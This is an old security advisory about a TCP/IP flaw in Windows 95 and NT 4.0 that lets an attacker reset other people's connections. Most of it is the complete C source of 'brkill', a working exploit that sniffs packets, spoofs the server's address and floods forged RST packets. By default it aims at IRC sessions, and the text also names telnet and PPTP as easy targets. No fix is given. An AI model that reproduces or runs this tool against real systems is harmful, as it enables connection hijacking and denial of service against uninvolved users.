COMMAND
TCP/IP
SYSTEMS AFFECTED
Win 95, NT
PROBLEM
Basement Research posted following info about a flaw in MS's
TCP/IP implementation. The flaw, which is present in at least
Windows 95 and Windows NT 4.0, allows an attacker to reset an
existing connection on Windows machines, as long as the attacker
knows the IP address and TCP port of the other end of the
connection (and can successfully guess the target machine's TCP
port for the connection - often not too far above 1024). The
problem arises when a packet is sent to a Microsoft machine that
generates a reset. Example code uses a PSH ACK to generate this
reset. The resulting reset's ACK field contains the last
acknowledged sequence number across all of the target's currently
established TCP connections. Armed with this knowledge, we can
then send the target machine a RST with the retrieved ACK number
as the sequence number (and 0 in the ACK field), resulting in an
abortive release of the connection. As an added bonus, since
Microsoft OS's respond with resets on ALL ports, we can retrieve
the last ack'd sequence number from any arbitrary closed port.
Of course, this has some limitations - you must know the TCP port
number and IP address of both ends of targeted connection. This
is not as hard as it may seem at first glance - if you know the
type of TCP connection, you probably know the server port. As to
the target's TCP port, its probably not too far above 1024. A
significant obstacle to resetting a connection is the need to get
the reset to the target before it sends another ack. To address
this problem, the brkill.c code includes the -n switch, which will
cause brkill to send the range of sequence numbers from ack to
(ack + n) to the target host. Lastly, if the target has a large
number of established TCP connections, resetting the connection
can be difficult since there will be several sets of ACK numbers,
and it won't be obvious which one belongs to the connection we
want to kill.
The source has been tested on FreeBSD, OpenBSD and Linux, and
requires the pcap library. You can get it from:
http://deep.ee.siue.edu/br/
or go below.
Consider the following types of connections to be the most
vulnerable to this attack:
Login connections: telnet, rlogin, xterm, etc. These generally
involve low data rates and have a well-known server port,
making them easy targets.
MS PPTP connections. Data rates are not always low, but the
connections last long, and can generally be reset with ease.
Certain connections, even when they originate from
non-Microsoft machines, may be vulnerable to this attack if
the logical connection is being relayed b y MS Proxy Server.
This assumes that MS proxy is vulnerable, which it may or may
not be. This was not tested.
Public chat connections such as IRC have been found to be
susceptible to this attack.
Exploit follows:
/* brkill.c
* by the basement research, llp
* Sat Sep 5 04:01:11 CDT 1998
* For the details of how this works, you can visit http://deep.ee.siue.edu/br.
* To compile:
* cc -O2 -o brkill brkill.c -lpcap
*/
#define SWAP(a,b) { a^=b; b^=a; a^=b; }
#define _BSD_SOURCE 1
#ifdef __FreeBSD__
#define BSDFIX(a) (a)
#else
#define BSDFIX(a) htons(a)
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/utsname.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include "pcap.h"
#define TIMEOUT_VALUE 500
#define VICTIM_START_PORT 1023
struct evilpkt
{
struct ip iphdr;
struct tcphdr tcphead;
}
pkt;
struct fakehdr
{
u_long saddr;
u_long daddr;
u_char zero;
u_char proto;
u_short len;
struct tcphdr faketcp;
}
pseudo;
static pcap_t *pfd;
u_long victim;
u_short port;
char *device = NULL;
u_short link_offset = 14;
static char *filter_str;
struct pcap_pkthdr hdr;
u_short
tcp_cksum (u_short * tcphdr, int len)
{
register long sum = 0;
u_short *w = tcphdr;
static u_short answer = 0;
while (len > 1)
{
sum += *w++;
len -= 2;
}
if (len == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (~sum);
}
void
start_pcap ()
{
char cmd[200];
int psize ;
struct bpf_program fcode;
u_int localnet, netmask;
char errbuf[PCAP_ERRBUF_SIZE];
char dialup[] = "ppp0";
psize = 300;
if (device == NULL)
{
if ((device = pcap_lookupdev (errbuf)) == NULL)
{
printf ("pcap_lookupdev : %s\n", errbuf);
exit (-1);
}
}
printf ("Selected network device: %s\n", device);
if (!strcmp (device, dialup))
{
link_offset = 0;
}
if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
== NULL)
{
printf ("pcap_open_live : %s\n", errbuf);
exit (-1);
}
if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
{
printf ("pcap_lookupnet : %s\n", errbuf);
exit (-1);
}
snprintf (cmd, sizeof (cmd), filter_str);
printf ("Setting filter : %s\n", filter_str);
if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
{
printf ("pcap_compile : %s\n", pcap_geterr (pfd));
exit (-1);
}
if (pcap_setfilter (pfd, &fcode) < 0)
{
printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
exit (-1);
}
if (pcap_datalink (pfd) < 0)
{
printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
exit (-1);
}
}
u_long
extract_ack (char *pkt)
{
u_long extracted;
u_long last_ack = 0;
bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
last_ack = ntohl (extracted);
if (last_ack == 0)
{
puts ("This machine returns a last ACK of 0. Cannot reset.");
exit (-1);
}
printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
return (last_ack);
}
u_long
grab_pcap ()
{
char *pptr = NULL;
u_long last_ack;
while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
pptr = pptr + link_offset;
last_ack = extract_ack (pptr);
return (last_ack);
}
void
init_pkt (u_long dest, u_long src, u_short port)
{
size_t pktlen;
pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
bzero (&pkt, 40);
bzero (&pseudo, 32);
pkt.iphdr.ip_hl = 0x5;
pkt.iphdr.ip_v = IPVERSION;
pkt.iphdr.ip_tos = 0x0;
pkt.iphdr.ip_len = pktlen;
pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
pkt.iphdr.ip_off = BSDFIX (IP_DF);
pkt.iphdr.ip_ttl = 255;
pkt.iphdr.ip_p = IPPROTO_TCP;
pkt.iphdr.ip_src.s_addr = src;
pkt.iphdr.ip_dst.s_addr = dest;
pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
pkt.tcphead.th_dport = htons (port);
pkt.tcphead.th_seq = 0;
pkt.tcphead.th_ack = 0;
pkt.tcphead.th_x2 = 0;
pkt.tcphead.th_off = 0x5;
pkt.tcphead.th_flags = TH_ACK + TH_PUSH; /* Use user-supplied argument */
pkt.tcphead.th_win = htons (0x800);
pkt.tcphead.th_urp = 0;
/* Now init the pseudoheader we need to calculate the TCP checksum */
pseudo.saddr = src;
pseudo.daddr = dest;
pseudo.zero = 0;
pseudo.proto = IPPROTO_TCP;
pseudo.len = htons (0x14); /* Refers to ONLY the TCP header plus any options */
bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
}
int
open_sock ()
/* Open up a socket and return the resulting file descriptor. */
{
int sockfd;
const int bs = 1;
if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror ("open_sock():socket()");
exit (-1);
}
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
{
perror ("open_sock():setsockopt()");
close (sockfd);
exit (-1);
}
return (sockfd);
}
struct sockaddr_in *
set_sockaddr (u_long daddr, u_short port)
/* Set up target socket address and return pointer to sockaddr_in structure. */
{
struct sockaddr_in *dest_sockaddr;
dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
bzero (dest_sockaddr, sizeof (struct sockaddr_in));
dest_sockaddr->sin_family = AF_INET;
dest_sockaddr->sin_port = htons (port);
dest_sockaddr->sin_addr.s_addr = daddr;
return (dest_sockaddr);
}
u_long
host_to_ip (char *host_name)
{
struct hostent *target;
u_long *resolved_ip;
resolved_ip = (u_long *) malloc (sizeof (u_long));
if ((target = gethostbyname (host_name)) == NULL)
{
fprintf (stderr, "host_to_ip: %d\n", h_errno);
exit (-1);
}
else
{
bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
return ((u_long) * resolved_ip);
}
}
char *
set_filter (char *destip, char *srcip, char *dport)
{
static char *filt;
filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
filt[0] = '\0';
strcat (filt, "src host ");
strcat (filt, destip);
strcat (filt, " and dst host ");
strcat (filt, srcip);
strcat (filt, " and src port ");
strcat (filt, dport);
return (filt);
}
u_long
get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
{
size_t psize;
u_long last_ack;
psize = sizeof (struct evilpkt);
init_pkt (victim, saddr, port);
sleep (delay);
if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
{
perror ("sendto()");
close (fd);
exit (-1);
}
last_ack = grab_pcap ();
return (last_ack);
}
void
usage ()
{
puts ("brkill - by basement research, 9/30/98\n");
puts ("Usage: brkill [-d device] [-s source IP addr]");
puts ("\t [-t time to pause between get_acks (default=1 sec)]");
puts ("\t [-l server low port or single port if not using range (default=6660)]");
puts ("\t [-h server high port or single port if not using range (default=6670)]");
puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
exit (0);
}
int
main (int argc, char **argv)
{
int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
u_short ircport, slowport = 0, shighport = 0;
char *source = NULL;
struct sockaddr_in *sock;
u_long saddr, server;
size_t psize;
register u_long last_ack;
struct hostent *hptr;
struct utsname localname;
if ((argc > 18) || (argc < 4))
{
usage ();
}
while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
{
switch (opt)
{
case 'd':
device = optarg;
break;
case 's':
source = optarg;
saddr = host_to_ip (source);
break;
case 'p':
delay = atoi (optarg);
break;
case 'l':
slowport = atoi (optarg);
break;
case 'h':
shighport = atoi (optarg);
break;
case 'v':
vicports = atoi (optarg);
break;
case 'n':
highseq = atoi (optarg);
break;
case '?':
puts ("Unknown option.");
exit (-1);
}
}
/* Try to determine source IP address if its not provided */
if (source == NULL)
{
if (uname (&localname) < 0)
{
perror ("uname(): ");
exit (-1);
}
if ((hptr = gethostbyname (localname.nodename)) == NULL)
{
perror ("gethostbyname(): ");
exit (-1);
}
source = hptr->h_name;
bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
printf ("Using a source address of %s\n", inet_ntoa (saddr));
}
/* These next two if conditionals deal with the situation where only -l or
* -h are specified. In these cases, we will only target the specified port.
*/
if ((slowport > 0) && (shighport == 0))
{
shighport = slowport;
}
if ((shighport > 0) && (slowport == 0))
{
slowport = shighport;
}
/* If the low server port is bigger than the high server port, then the user
* doesn't know what they are doing. In this case, we'll swap the values.
*/
if (slowport > shighport)
{
SWAP (slowport, shighport);
puts ("Warning: low port is greater than high port - swapping the two...");
}
/* Defaults if neither -l nor -h are specified (common IRC server ports). */
if ((slowport == 0) && (shighport == 0))
{
slowport = 6660;
shighport = 6670;
}
/* End of the options processing code */
vichighport = VICTIM_START_PORT + vicports;
ircport = shighport;
filter_str = set_filter (argv[optind], source, argv[optind + 2]);
victim = host_to_ip (argv[optind]);
server = host_to_ip (argv[optind + 1]);
port = (u_short) atoi (argv[optind + 2]);
sock = set_sockaddr (victim, port);
fd = open_sock ();
psize = sizeof (struct evilpkt);
start_pcap ();
while (1)
{
last_ack = get_ack (victim, saddr, port, fd, sock, delay);
pkt.iphdr.ip_src.s_addr = server;
pkt.iphdr.ip_dst.s_addr = victim;
pkt.iphdr.ip_id = htons (rand () % 7000);
pkt.iphdr.ip_off = 0;
pkt.tcphead.th_flags = TH_RST;
pkt.tcphead.th_win = 0;
pkt.tcphead.th_ack = 0;
pseudo.saddr = server;
pseudo.daddr = victim;
if (ircport >= slowport)
{
pkt.tcphead.th_sport = htons (ircport);
}
else
{
ircport = shighport;
pkt.tcphead.th_sport = htons (ircport);
}
printf ("Setting the source port to %d.\n", ircport);
ircport--;
for (i = 0; i <= highseq; i++)
{
pkt.tcphead.th_seq = htonl (last_ack + i);
bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
{
/* FreeBSD has problems and runs out of buffer space in sendto() unless
we insert a delay here. Unfoprtunately, this makes the code less
effective. */
#ifdef __FreeBSD__
if (!(sp % 20))
{
usleep (20000);
}
#endif
pkt.tcphead.th_dport = htons (sp);
bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
pkt.iphdr.ip_sum = 0;
pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
pseudo.faketcp.th_sum = 0;
pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
{
perror ("sendto(): ");
close (fd);
exit (-1);
}
}
}
}
if (close (fd) == -1)
{
perror ("close()");
exit (-1);
}
return (0);
}
SOLUTION
Nothing yet.